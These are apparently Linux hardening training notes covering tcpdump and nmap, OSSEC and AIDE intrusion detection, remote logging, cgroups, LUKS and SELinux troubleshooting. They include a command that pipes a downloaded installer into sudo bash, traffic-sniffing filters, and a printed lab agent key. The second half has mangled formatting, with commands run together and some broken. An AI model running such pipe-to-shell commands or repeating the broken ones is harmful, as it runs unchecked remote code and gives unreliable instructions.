Linux Security and Hardening

Agenda

1. Wireshark / tcpdump / nmap

   - Examples tcpdump
   - Example nmap
   - Detect nmap scans on server

2. Network Intrusion Detection

   - Overview

3. Host Intrusion Detection

   - Overview
   - Installation ossec on Ubuntu
   - Installation/Walkthrough ossec on Centos 8
   - AIDE on Ubuntu/Debian

4. Logging

   - Overview Logging Systems
   - Remote logging with rsyslog
   - Remote logging with rsyslog and tls
   - Systemd Remote Logging

5. Local Security

   - sgid - bit on files
   - xattr - special permissions
   - cgroups on Redhat
   - Using otp-authentication

6. Disk Managemenet

   - Install partprobe/parted on Debian
   - Verschlüsselung mit Cryptsetup
   - Self Encryption Hard Disks (SED) vs. LUKS

7. SELinux / appArmor

   - Install selinux on Debian
   - SELinux including Walkthrough
   - SELinux - working with booleans
   - Managing SELinux Policies
   - Troubleshoot with sealert on Centos/Redhat
   - SELinux Troubleshooting on Debian
   - SELinux Troubleshooting on Centos

8. Docker / Podman with Seccomp

   - Restricting Syscall in Docker/Podman

9. Attacks

   - Slow loris Attack - apache

Change language on Ubuntu

```
dpkg-reconfigure locales
# see locales that are current configured
locale
# place where it is configured
/etc/default/locale

# After that relogin or do
# su student
locale
```

Patching of packages (e.g.)

- Ubuntu will patch packages when CVE's occur
- https://ubuntu.com/security/CVE-2020-11984

Search - Engine IoT

- https://www.shodan.io/

Secure grub with password (not at boot but for changes and subentries

```
#  Create password
#  e.g. password
grub-mkpasswd-pbkdf2

# /etc/grub.d/01_password
#!/bin/sh
set -e

cat << EOF
set superusers='grub'
password_pbkdf2 grub grub.pbkpdf2.sha512.....
EOF

##
chmod a+x /etc/grub.d/01_password

## Datei 10_linux
## Variable CLASS
## at then
##
CLASS="--class gnu-linux ..... --unrestricted"

update-grub
```

rsyslog

Basics

```
# Hyphen before filename : -/.....
# is for syncing but enabled by default since
```

```
https://serverfault.com/questions/463170/what-does-filepath-action-mean-in-rsyslog-configuration
## it is set on by default anyways
# You may prefix each entry with the minus “-‘’ sign to omit syncing the file after every logging.
```

Bug on ubuntu kern.* logs to user.*

```
logger -p kern.debug "Testmessage"
# that one logs to user.*
```

Wireshark / tcpdump / nmap

Examples tcpdump

What interfaces are available for listening ?

```
tcpdump -D
## Eventually doublecheck with
ip a
```

-n / -nn (Disable hostname / port resolving)

```
## I would always recommend to do so, because it saves performance

## Do not do hostname lookups
tcpdump -i ens3 -n

## Do not do hostname and port lookups
tcpdump -i ens3 -nn
```

Exclude specific ports

```
tcpdump ! -p stp -i eth0
## more user friendly
tcpdump -i eth0 not stp and not icmp
```

Include ascii output

```
## s0 show unlimited content
## -A ASCII
tcpdump -A -s0 port 80
```

Only from and/or to a specific host

```
## to or from host
tcpdump -i eth0 host 10.10.1.1

## To a specific host
tcpdump -i eth0 dst 10.10.1.20
```

Write to a pcap file

```
tcpdump -i eth0 -w output.pcap
```

Only show GET requests

```
## this show only all tcp packages
tcpdump -i eth0 tcp
```

```
## now let us filter specific ones -> 0x474554 -> is equivalent for GET as hex -
numbers
## https://www.torsten-horn.de/techdocs/ascii.htm
## tcp header has 20 bytes and maximum of 60 bytes, allowing for up to 40 bytes of
options in the header.
tcpdump -s 0 -A -vv 'tcp[((tcp[12:1]((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420'

## Same goes for post - operations
tcpdump -s 0 -A -vv 'tcp[((tcp[12:1]((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
```

```
## Deeply explained here
https://security.stackexchange.com/questions/121011/wireshark-tcp-filter-tcptcp121-
0xf0-24
```

Extra http get/post urls

```
## show linewise
tcpdump -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"

## show linewise only using port http
tcpdump -s 0 -v -n -l port http and not port ssh | egrep -i "POST /|GET /|Host:"
```

Refs:

- https://hackertarget.com/tcpdump-examples/

Example nmap

Example 1

```
## including additional information
nmap -A main.training.local
```

Example 2

```
## ping target system
nmap -sP main
```

Example 3

```
Server 1:
nmap -p 80 --script=http-enum.nse targetip

Server 2:
tcpdump -nn port 80 | grep "GET /"
```

Ref:

- http://schulung.t3isp.de/documents/linux-security.pdf

Detect nmap scans on server

- https://nmap.org/book/nmap-defenses-detection.html

Network Intrusion Detection

Overview

- Snort (Ökosystem)
- Suricata (gleiche Signaturen) - OpenSource Signaturen

Host Intrusion Detection

Overview

- AIDE (Advanced Intrusion Detection Environment)
- Tripwire
- OSSEC (Open Source Security) / Wazuh

Installation ossec on Ubuntu

Wazuh

```
## Fork / Weiterentwicklung
https://wazuh.com/
```

OSSEC -> Installation

```
### Install on 2 servers
### server 1: ossec-hids-server
### server 2: ossec-hids-agent

## https://www.ossec.net/downloads/#apt-automated-installation-on-ubuntu-and-debian
## Installs repo-config but not correctly !
wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash

## add [arch=amd64] to line
root@server1:/etc/apt/sources.list.d# cat atomic.list
deb [arch=amd64] https://updates.atomicorp.com/channels/atomic/ubuntu focal main
```

```
## Install ossec-hids-server
apt install ossec-hids-server

## adjust /var/ossec/etc/ossec.conf
<ossec_config>
  <global>
    <email_notification>yes</email_notification>
    <email_to>root@localhost</email_to>
    <smtp_server>127.0.0.1</smtp_server>
    <email_from>ossec@localhost</email_from>
  </global>
```

```
## Start
/var/ossec/bin/ossec-control start
```

Testing on server 1

```
ssh root@localhost
## enter wrong password 3 times

## alert is logged to
cd /var/ossec/logs/alerts/
tail alerts.log
2020 Nov 11 13:48:59 server2->/var/log/auth.log
Rule: 5710 (level 5) -> 'Attempt to login using a non-existent user'
Src IP: 127.0.0.1
Nov 11 13:48:59 server2 sshd[56463]: Failed password for invalid user root from
127.0.0.1 port 44032 ssh2

** Alert 1605098949.1127: - syslog,sshd,invalid_login,authentication_failed,
2020 Nov 11 13:49:09 server2->/var/log/auth.log
Rule: 5710 (level 5) -> 'Attempt to login using a non-existent user'
Nov 11 13:49:07 server2 sshd[56463]: message repeated 2 times: [ Failed password for
invalid user root from 127.0.0.1 port 44032 ssh2]
```

Installation server 2 (agent)

```
apt install ossec-hids-agent

## vi /var/ossec/etc/ossec.conf
## change to ip of server 2
<!-- OSSEC example config -->

<ossec_config>
  <client>
    <server-ip>10.10.11.142</server-ip>
  </client>
```

Manage Agent (server 2) on server1 (ossec-server)

```
 /var/ossec/bin/manage_agents


****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: A

- Adding a new agent (use '\q' to return to the main menu).
  Please provide the following:
   * A name for the new agent: server1
   * The IP Address of the new agent: 10.10.11.141
   * An ID for the new agent[001]:
Agent information:
   ID:001
   Name:server2
   IP Address:10.10.11.141

Confirm adding it?(y/n): y
Agent added with ID 001.


****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: e

Available agents:
   ID: 001, Name: server2, IP: 10.10.11.141
Provide the ID of the agent to extract the key (or '\q' to quit): 1

Agent key information for '001' is:
MDAxIHNlcnZlcjEgMTAuMTAuMTEuMTQxIDkyMjAyMGQ5NzNjODE4NDM3YmIxZmU5ZDBjMmFmYmMwY2JmMmE2Y2Ez


** Press ENTER to return to the main menu.



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: q

** You must restart OSSEC for your changes to take effect.

manage_agents: Exiting.
manage_agents: Exiting.
root@server2:/var/ossec/logs/alerts#

## Server neu starten
 /var/ossec/bin/ossec-control restart
```

Import Key on agent - system (server 2)

```
 /var/ossec/bin/manage_agents


****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: I

* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*** OBS: Do not include spaces or new lines.

Paste it here (or '\q' to quit):
MDAxIHNlcnZlcjEgMTAuMTAuMTEuMTQxIDkyMjAyMGQ5NzNjODE4NDM3YmIxZmU5ZDBjMmFmYmMwY2JmMmE2Y2Ez


Agent information:
   ID:001
   Name:server2
   IP Address:10.10.11.141

Confirm adding it?(y/n): y
2020/11/11 14:08:11 manage_agents: ERROR: Cannot unlink /queue/rids/sender: No such
file or directory
Added.
** Press ENTER to return to the main menu.



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: q

** You must restart OSSEC for your changes to take effect.

manage_agents: Exiting.
manage_agents: Exiting.
root@server1:/var/ossec/etc#

#### Restart agent
/var/ossec/bin/ossec-control restart
```

produce problem on server 2 (agent)

```
## enter wrong password 3 times
ssh root@localhost
```

validatte on server 1 (server)

```
you should get an email to root
please check
/var/ossec/logs/alert/alert.log


## if this is not working restart server2 and agent->server1
server1: /var/ossec/bin/ossec-control restart
server2: /var/ossec/bin/ossec-control restart

## Please retry to ssh with wrong pw 3 x !!!
```

Change scan config on server1 ossec.conf

```
## like so --> first lines
 <syscheck>
    <!-- Frequency that syscheck is executed -- default every 20 hours -->
    <frequency>120</frequency>
    <alert_new_files>yes</alert_new_files>


    <!-- Directories to check  (perform all possible verifications) -->
    <directories check_all="yes" report_changes="yes"
realtime="yes">/etc,/usr/bin,/usr/sbin</directories>
    <directories check_all="yes" report_changes="yes"
realtime="yes">/bin,/sbin,/boot</directories>
```

```
## Adjust local rules
root@server1:/var/ossec/rules# vi local_rules.xml
  <rule id="554" level="7" overwrite="yes">
     <category>ossec</category>
     <decoded_as>syscheck_new_entry</decoded_as>
     <description>File added to system</description>
     <group>syscheck,</group>
  </rule>


</group> <!-- SYSLOG,LOCAL -->
```

Restart hids-server (server1)

```
 /var/ossec/bin/ossec-control restart
```

Optional scan immediately

```
##it is possible from the hids-server (server1 aka main.example)
##to do an immediate scan on the agents (server2 aka secondary.example.com)
```

```
## by restarting agent

/var/ossec/bin/agent_control -R 001
```

Installation/Walkthrough ossec on Centos 8

Wazuh

```
## Fork / Weiterentwicklung
https://wazuh.com/
```

OSSEC -> Installation

```
### Install on 2 servers
### server 1 (main): ossec-hids-server
### server 2 (secondary): ossec-hids-agent

## https://www.ossec.net/downloads/#apt-automated-installation-on-ubuntu-and-debian
## Installs repo-config but not correctly !
wget -q -O atomic-file https://updates.atomicorp.com/installers/atomic
sh atomic-file
```

```
## installation on main
dnf -y install ossec-hids ossec-hids-server

## adjust /var/ossec/etc/ossec.conf
<ossec_config>
  <global>
    <email_notification>yes</email_notification>
    <email_to>root@localhost</email_to>
    <smtp_server>127.0.0.1</smtp_server>
    <email_from>ossec@localhost</email_from>
  </global>
```

```
## Start
/var/ossec/bin/ossec-control start
```

Testing on server 1

```
ssh root@localhost
## enter wrong password 3 times

## alert is logged to
cd /var/ossec/logs/alerts/
tail alerts.log
2020 Nov 11 13:48:59 server2->/var/log/auth.log
Rule: 5710 (level 5) -> 'Attempt to login using a non-existent user'
Src IP: 127.0.0.1
Nov 11 13:48:59 server2 sshd[56463]: Failed password for invalid user root from
127.0.0.1 port 44032 ssh2
```

```
** Alert 1605098949.1127: - syslog,sshd,invalid_login,authentication_failed,
2020 Nov 11 13:49:09 server2->/var/log/auth.log
Rule: 5710 (level 5) -> 'Attempt to login using a non-existent user'
Nov 11 13:49:07 server2 sshd[56463]: message repeated 2 times: [ Failed password for
invalid user root from 127.0.0.1 port 44032 ssh2]
```

Installation server 2 (agent)

```
dnf install -y ossec-hids-agent

## vi /var/ossec/etc/ossec.conf
## change to ip of server 2
<!-- OSSEC example config -->

<ossec_config>
  <client>
    <server-ip>192.168.33.10</server-ip>
  </client>
```

Manage Agent (server 2) on server1 (ossec-server)

```
 /var/ossec/bin/manage_agents



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: A

- Adding a new agent (use '\q' to return to the main menu).
  Please provide the following:
   * A name for the new agent: server1
   * The IP Address of the new agent: 10.10.11.141
   * An ID for the new agent[001]:
Agent information:
   ID:001
   Name:server2
   IP Address:10.10.11.141

Confirm adding it?(y/n): y
Agent added with ID 001.



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
```

```
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: e

Available agents:
   ID: 001, Name: server2, IP: 10.10.11.141
Provide the ID of the agent to extract the key (or '\q' to quit): 1

Agent key information for '001' is:
MDAxIHNlcnZlcjEgMTAuMTAuMTEuMTQxIDkyMjAyMGQ5NzNjODE4NDM3YmIxZmU5ZDBjMmFmYmMwY2JmMmE2Y2Ez


** Press ENTER to return to the main menu.



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (A)dd an agent (A).
   (E)xtract key for an agent (E).
   (L)ist already added agents (L).
   (R)emove an agent (R).
   (Q)uit.
Choose your action: A,E,L,R or Q: q

** You must restart OSSEC for your changes to take effect.

manage_agents: Exiting.
manage_agents: Exiting.
root@server2:/var/ossec/logs/alerts#

## Server neu starten
 /var/ossec/bin/ossec-control restart
```

Import Key on agent - system (server 2)

```
 /var/ossec/bin/manage_agents



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: I
```

```
* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*** OBS: Do not include spaces or new lines.

Paste it here (or '\q' to quit):
MDAxIHNlcnZlcjEgMTAuMTAuMTEuMTQxIDkyMjAyMGQ5NzNjODE4NDM3YmIxZmU5ZDBjMmFmYmMwY2JmMmE2Y2Ez


Agent information:
   ID:001
   Name:server2
   IP Address:10.10.11.141

Confirm adding it?(y/n): y
2020/11/11 14:08:11 manage_agents: ERROR: Cannot unlink /queue/rids/sender: No such
file or directory
Added.
** Press ENTER to return to the main menu.



****************************************
* OSSEC HIDS v3.6.0 Agent manager.     *
* The following options are available: *
****************************************
   (I)mport key from the server (I).
   (Q)uit.
Choose your action: I or Q: q

** You must restart OSSEC for your changes to take effect.

manage_agents: Exiting.
manage_agents: Exiting.
root@server1:/var/ossec/etc#

#### Restart agent
/var/ossec/bin/ossec-control restart
```

produce problem on server 2 (agent)

```
## enter wrong password 3 times
ssh root@localhost
```

validatte on server 1 (server)

```
you should get an email to root
please check
/var/ossec/logs/alert/alert.log



## if this is not working restart server2 and agent->server1
```

```
server1: /var/ossec/bin/ossec-control restart
server2: /var/ossec/bin/ossec-control restart

## Please retry to ssh with wrong pw 3 x !!!
```

Change scan config on server1 ossec.conf

```
## like so --> first lines
 <syscheck>
    <!-- Frequency that syscheck is executed -- default every 20 hours -->
    <frequency>120</frequency>
    <alert_new_files>yes</alert_new_files>


    <!-- Directories to check  (perform all possible verifications) -->
    <directories check_all="yes" report_changes="yes"
realtime="yes">/etc,/usr/bin,/usr/sbin</directories>
    <directories check_all="yes" report_changes="yes"
realtime="yes">/bin,/sbin,/boot</directories>
```

```
## Adjust local rules
root@server1:/var/ossec/rules# vi local_rules.xml
  <rule id="554" level="7" overwrite="yes">
     <category>ossec</category>
     <decoded_as>syscheck_new_entry</decoded_as>
     <description>File added to system</description>
     <group>syscheck,</group>
  </rule>


</group> <!-- SYSLOG,LOCAL -->
```

Restart hids-server (server1)

```
 /var/ossec/bin/ossec-control restart
```

Optional scan immediately

```
##it is possible from the hids-server (server1 aka main.example)
##to do an immediate scan on the agents (server2 aka secondary.example.com)
## by restarting agent

/var/ossec/bin/agent_control -R 001
```

AIDE on Ubuntu/Debian

Install

```
apt install aide
## adjust config
## /etc/aide.conf /etc/aide.conf.d <- rules
aideinit
```

```
## No necessary on Debian / Ubuntu
## aideinit does this
## mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
```

Backup

```
tar czvf initial-aide.tgz /etc/aide/aide.conf /usr/bin/aide /var/lib/aide/aide.db.new
```

Simulate modification

```
echo "11.11.11.11 bad.host.com bad" >> /etc/hosts
```

Do the check

```
## In Ubuntu like so
aide.wrapper --check

## In Debian like so
aide --check --config=/etc/aide/aide.conf
```

Check is done on a daily basis

- /etc/cron.daily/aide

Logging

Overview Logging Systems

- syslog
- auditd
- netfilter (iptables)
- systemd-journald

journalctl

```
journalctl -u httpd.service

## everything with pid = process id = 1
journalctl _PID=1

### Remote logging with rsyslog

### Remote logging with rsyslog and tls


### Works

  * with rsyslog 6+
  * Tested with Debian 11 (bullseye)

### Create certificates and put in both server and client
```

in /etc/pki/tls/certs/

lab.crt, lab.key

Main - Server - config

```
### Configuration on Server
```

apt install rsyslog-gnutls

##/etc/rsyslog.d/main-tls.conf

Added for TLS support

make gtls driver the default

$DefaultNetstreamDriver gtls

certificate files

$DefaultNetstreamDriverCAFile /etc/pki/tls/certs/lab.crt $DefaultNetstreamDriverCertFile /etc/pki/tls/certs/lab.crt $DefaultNetstreamDriverKeyFile /etc/pki/tls/certs/lab.key

provides TCP syslog reception with encryption

module(load="imtcp" StreamDriver.Name="gtls" StreamDriver.Mode="1" StreamDriver.AuthMode="anon") input(type="imtcp" port="6514")

systemctl restart rsyslog

```
### Configuration on Client
```

apt install rsyslog-gnutls

##/etc/rsyslog.d/secondary-tls.conf

This is the client side of the TLS encrypted rsyslog

certificate file, just the CA file for a client

$DefaultNetstreamDriverCAFile /etc/pki/tls/certs/lab.crt

set up action

$DefaultNetstreamDriver gtls #use the gnutls netstream driver $ActionSendStreamDriverMode 1 #require the use of tls $ActionSendStreamDriverAuthMode anon #the server is NOT authenticated

send all messages

. @@(o)main.example.com:6514

```
```

systemctl restart rsyslog

```

### Testing
```

on secondary

logger "Does this work"

check secondary

/var/log/messages

check main

/var/log/messages

<- should be in both log files

```

### Systemd Remote Logging


### Walkthrough
```

Walkthrough

Install on main and secondary

dnf install -y systemd-journal-remote

on main modify systemd-journal-remote

Find info by:

systemctl cat systemd-journal-remote

systemctl edit systemd-journal-remote

[Service] ExecStart= ExecStart=/usr/lib/systemd/systemd-journal-remote --listen-http=-3 --output=/var/log/journal/remote/

aktiviert den socket

systemctl enable systemd-journal-remote systemctl start systemd-journal-remote

on secondary adjust URL= in /etc/systemd/journal-upload.conf

[Upload] URL=http://192.168.33.10:19532

Restart upload - daemon

systemctl enable --now systemd-journal-upload

Result -> failed

systemctl status systemd-journal-upload

o http://192.168.33.10:19532/upload failed: Couldn't connect to server

```
```

Troubelshooting on secondary

according to:

```
  * [Troubleshooting a service on Centos (SELINUX)](selinux-troubleshooting-centos.md)
```

on secondary

logger -p local0.info testlogeintrag

show entries

journalctl -e | grep testlogeintrag

on main

Show entries of log-directory of journal (systemd)

journalctl -D /var/log/journal/remote

```



## Local Security

### sgid - bit on files


### Beispiel
```

Führt Programme mit dem Gruppenrecht, des Programms.- Beispiel

hans:buero rwxrws-- executable

Wird executable auch mit der Gruppe buero ausgeführt.

```
### Reference

 * https://de.wikipedia.org/wiki/Setgid

### xattr - special permissions


### Generic

  * save in the inode

### Walkthrough
```

only possible as root

touch foo-file lsattr foo-file chattr +a foo-file

then this works

echo "test" >> foo-file

this not

echo "test" > foo-file

+ -> immutable

chattr +i foo-file

does not work

echo "no possibe" > foo-file echo "also not possible" >> foo-file

and not deletable

rm -f foo-file

```



### cgroups on Redhat


### Why ?

  * Allows restriction and prioritizing to resources

### What are the most important categories
```

```
  * The number of CPU shares per process.
  * The limits on memory per process.
  * Block Device I/O per process.
  * Mark network packets to be identified as the same type
    * another application can use that to enforce traffic rules

### What else (Redhat) ?

  * There are 2 versions, v1 and v2
  * Although RHEL 8 allows v2, it is disabled
  * All applications currently use v1

### How do cgroups work ?

  ![cgroups]
(https://www.redhat.com/sysadmin/sites/default/files/styles/embed_large/public/2020-
09/CGroup_Diagram.png?itok=pbB1JLje)

### cgroups and the ressource-controllers

  * Memory
  * CPU
  * Disk I/O

### Install cgroup tools (Redhat)

  * This way of working with cgroups is deprecated in RHEL 8
```

dnf install -y libcgroup libcgroup-tools

```

### Show informations about cgroups
```

cat /proc/cgroups ps xawf -eo pid,user,cgroup,args systemd-cgls systemd-cgtop

```

### Walkthrough.
```

Step 1: Create a new cgroup

cgcreate -g cpu,memory,blkio,devices,freezer:/resourcebox

Step 2: Restrict zu 10% per CPU-core

cgset -r cpu.cfs_period_us=100000
-r cpu.cfs_quota_us=$[10000 * $(getconf _NPROCESSORS_ONLN)]
resourcebox

Step 3: Restrict memory in cgroup to 256MB

cgset -r memory.limit_in_bytes=256M resourcebox

Step 4: Restrict access to 1 MB/s

```
for dev in 8:0 8:16 1:0; do cgset -r blkio.throttle.read_bps_device="${dev} 1048576" resourcebox cgset -r blkio.throttle.write_bps_device="${dev} 1048576" resourcebox done
```

Step 5: no access to dev-files please

```
cgset -r devices.deny=a resourcebox
```

Step 6: allow access to console, null, zero rand and urandom

```
for d in "c 5:1" "c 1:3" "c 1:5" "c 1:8" "c 1:9"; do cgset -r devices.allow="$d rw" resourcebox done
```

Step 7: execute program in cgroup (bash as an example)

```
cgexec -g cpu,memory,blkio,devices,freezer:/resourcebox
prlimit --nofile=256 --nproc=512 --locks=32 /bin/bash
```

Step 8: delete cgroup

```
cgdelete -g cpu,memory,blkio,devices,freezer:/resourcebox
```

```
### Restrict system resources with systemd-run
```

Start stress test twice

```
systemd-run stress -c 3 systemd-run stress -c 3
```

```
systemctl show run-r.service
```

default is 3600

```
systemctl set-property run-r.service CPUShares=100 systemctl set-property run-r.service CPUQuota=20%
```

```
### restrict httpd service
```

```
systemctl status httpd systemctl set-property httpd.service CPUShares=600 MemoryLimit=500M systemctl daemon-reload systemctl status httpd
```

also restrict io - activity

```
systemctl set-property httpd.service IODeviceWeight="/var/log 400" systemctl set-property httpd.service BlockIOReadBandwidth="/var/lib/mysql 5M" systemctl daemon-reload systemctl cat httpd.service
```

show ressource usage

```
systemd-cgtop
```

after having properties, how does it look

systemctl cat httpd

```

```

systemd Sicherheit • http://0pointer.de/blog/projects/security.html [http://0pointer.de/blog/projects/security.html] Einfache Direktiven • Units unter anderer uid/gid laufen lassen • Zugriff auf Verzeichnisse beschränken • Prozesslimits setzen $EDITOR /etc/systemd/system/simplehttp.service [Unit] Description=HTTP Server [Service] Type=simple Restart=on-failure ##User=karl ##Group=users ##WorkingDirectory=/usr/share/doc ##PrivateTmp=yes ##ReadOnlyDirectories=/var ##InaccessibleDirectories=/home /usr/share/doc ##LimitNPROC=1 #darf nicht forken ##LimitFSIZE=0 #darf keine Files schreiben ExecStart=/bin/python -m SimpleHTTPServer 8000

```
### Special man pages
```

man systemd.resource-control

```
### References (Redhat)

  * https://access.redhat.com/documentation/en-
us/red_hat_enterprise_linux/7/html/resource_management_guide/chap-
using_libcgroup_tools
  * https://www.redhat.com/sysadmin/cgroups-part-one

### Using otp-authentication


### Installation on Centos 8
```

dnf install -y oathtool pam_oath

```
### Configuation
```

Settings in oath

create hexstring for pass

echo "itsme" | od -x 0000000 7469 6d73 0a65 0000006

use without 0 and blanks

echo "kurs - 74696d730a65" > /etc/oath/oath.users chmod 000 /etc/oath/oath.users chown root /etc/oath/oath.users

Setup pam

vi /etc/pam.d/su

add after root-entry

auth sufficient pam_rootok.so auth requisite pam_oath.so usersfile=/etc/oath/users.oath window=5

```

### Create list
```

authtool -w 5 74696d730a65

```

### Test it
```

starting from root the first time works without pw

su - kurs

now you need to enter one otp from list

and after that your normal pw

su - kurs exit

try again and try to use same otp

su - kurs

```

## Disk Managemenet

### Install partprobe/parted on Debian

```

partprobe is in the package parted

apt install parted

```


### Verschlüsselung mit Cryptsetup

```

lsblk parted /dev/sdb partprobe /dev/sdb dnf install -y cryptsetup cryptsetup luksFormat /dev/sdb1 cryptsetup luksOpen /dev/sdb1 secret-disk ls -la /dev/mapper/secret-disk mkfs.ext4 /dev/mapper/secret-disk mkdir /mnt/secret mount /dev/mapper/secret-disk /mnt/secret echo "/dev/mapper/secret-disk /mnt/secret ext4 defaults 1 2" >> /etc/fstab umount /mnt/secret/ mount -av

```

### Self Encryption Hard Disks (SED) vs. LUKS


### Advantages Self-Encrypted (Hard-Disk)

```

```
  * Encryption/Decryption is quicker because done by disk itself by controller
  * Transparent, once decrypted (can be used on any OS, because not OS specific)
  * Works directly with harddisk-passwd in BIOS
  * Can be integrated with TPM, but then with pre-boot (OS) - on Linux ??

### Disadvantages Self-Encrypted (Hard-Disk)

   * Only safe, after power off, till someone cann attack
     * up to this, keys still are in Memory
     * Attack szenarion (cold-boot)

### Wichtig AES128/AES256

  * OPAL2.0 / OPAAL Enterprise
  * FIPS 140.x

### Advantages LUKS

   * Possible to not encrypt complete disk, but also files or partitions
   * Can use TPM together with

### Disadvantages LUKS

   * Overhead performance because sofware encryption decryption (25-35% overhead)


## SELinux / appArmor

### Install selinux on Debian


### Walkthrough
```

apt-get install selinux-basics selinux-policy-default auditd selinux-activate reboot

for checking

Also refer to our other documents

e.g. apache walkthrough

setenforce 1

check-selinux-installation echo $?

```

### Howto on Debian

  * https://wiki.debian.org/SELinux/Setup

### SELinux including Walkthrough

### Change context and restore it
```

Requirements - selinux must be enabled

and auditd must run

find out

getenforce systemctl status auditd

cd /var/www/html echo "hallo welt" > welt.html chcon -t var_t welt.html

includes context from welt.html

ls -laZ welt.html

when enforcing fehler beim aufruf im Browser

You can find log entries like so

cat /var/log/audit/audit.log

show all entries caused by executable httpd

ausearch -c httpd

herstellen auf basis der policies

restorecon -vr /var/www/html

```
### Analyze
```

Under which type/domain does httpd run

ps auxZ | grep httpd

What is the context of the file

ls -Z /var/www/html/welt.html

So is http_t - domain allowed to access ?

sesearch --allow --source httpd_t --target httpd_sys_content_t --class file sesearch -A -s httpd_t -t httpd_sys_content_t -C file

Yes !

output

```
allow httpd_t httpd_sys_content_t:file { lock ioctl read getattr open }; allow httpd_t httpdcontent:file { create
link open append rename write ioctl lock getattr unlink setattr read }; [ ( httpd_builtin_scripting &&
httpd_unified && httpd_enable_cgi ) ]:True ...
```

so let's check

```
echo "hello" > /var/www/html/index.html chmod 775 /var/www/html/index.html
```

open in browser:

e.g.

http://

you should get an output -> hello ;o)

Now change the type of the file

ONLY changes temporarily

NEXT restorecon breaks it.

```
chcon --type var_t /var/www/html/index.html ls -Z /var/www/html/index.html
```

open in browser again

http://

NOW -> you should have a permission denied

Why ? -> var_t is not one of the context the webserver domain

(http_t) is not authorized to connect to

Doublecheck

```
sesearch --allow --source httpd_t --target var_t --class file
```

-> no output here -> no access

Restore again

```
restorecon -v /var/www/html/index.html
```

output

Relabeled /var/www/html/index.html from

unconfined_u:object_r:var_t:s0 to unconfined_u:object_r:httpd_sys_content_t:s0 ls -Z /var/www/html/index.html

output

unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.html

open in browser again

http://

Now testpage works again

```



### Docs

  * http://schulung.t3isp.de/documents/linux-security.pdf

### SELinux - working with booleans


### Find out, which are available
```

getsebool -a | grep nis

shows all booleans with short description

semanage boolean -l

```

### Prepare using sesearch
```

dnf whatprovides search dnf install -y setools-console

```

### Find out, which rules are triggered by boolean
```

-A shows allow rules

sesearch -b nis_enabled -A

If there are a lot, considers using, e.g. semanage for opening specific ports

like mentioned after using

sealert -a /var/log/audit/audit.log

```

### Are there booleans for my specific use case
```

sesearch -s init_t -t unreserved_port_t -A ##

```

### Activating a boolean (selinux)
```

only till next report

setsebool nis_enabled 1

persistent

setsebool -P nis_enabled 1

is it activated

getsebool nis_enabled

```

### Reference

  * https://wiki.gentoo.org/wiki/SELinux/Tutorials/Using_SELinux_booleans
```

-C option in sesearch seems deprecated in Centos

```

### Managing SELinux Policies

### Troubleshoot with sealert on Centos/Redhat


### Prerequisites
```

Works on centos/redhat

dnf whatprovides sealert dnf install -y setroubleshoot-server

```

### Variant 1: Search audit.log altogether
```

When a problem occurs go for

sealert -a /var/log/audit/audit.log > report.txt

After that look into report for solutions

```
### Variant 2: Use only a subset of the audit log
```

filter with ausearch, e.g.

ausearch -c httpd --raw > audata.log sealert -a audata.log > report2.txt

```
### SELinux Troubleshooting on Debian
```

Situation: Permission denied with ssh after setting enforcing mode

How to deal ?

cd /var/log/audit

get some hints, e.g. use audit2why

cat audit.log | audit2why

Created a module we can install, if we want

cat audit.log | grep 'comm="sshd"' | audit2allow -M sshaccess

Look what the module does in same

cat sshallow.te

Got an hint we can active bool -> ssh_sysadm_login

setsebool -P ssh_sysadm_login 0

finally check if you can login by ssh

```
### SELinux Troubleshooting on Centos


### Troubleshooting a service
```

Assumption: Golden Rule of Centos/Redhat

!!! If everything looks nice (permissions), but NOT START it MIGHT BE selinux <-- !!!

Step 1: Does service start in permissive mode of selinux

sestatus setenforce 0

example

```
systemctl start systemd-journal-upload systemctl status systemd-journal-upload
```

-> Works so, now we know, SELINUX is the problem.

Step 2: Findout what go into the way, with smart tools

```
dnf whatprovides sealert dnf install -y setroubleshoot-server cd /var/log/audit
```

this take a little while - grab some coffee

```
sealert -a audit.log > report.txt
```

```
  * [Alternative way using sealert](#troubleshoot-with-sealert-on-centosredhat)
```

now look into the report.txt.

in most there are 2-3 solutions for you problem

Step 3 - possibility 1: Adjust ports/files with semanage command

Example

```
semanage port -a -t http_port semanage port -l | grep http_port
```

Step 3 - possibility 2: A boolean exists

```
getsebool -a | grep
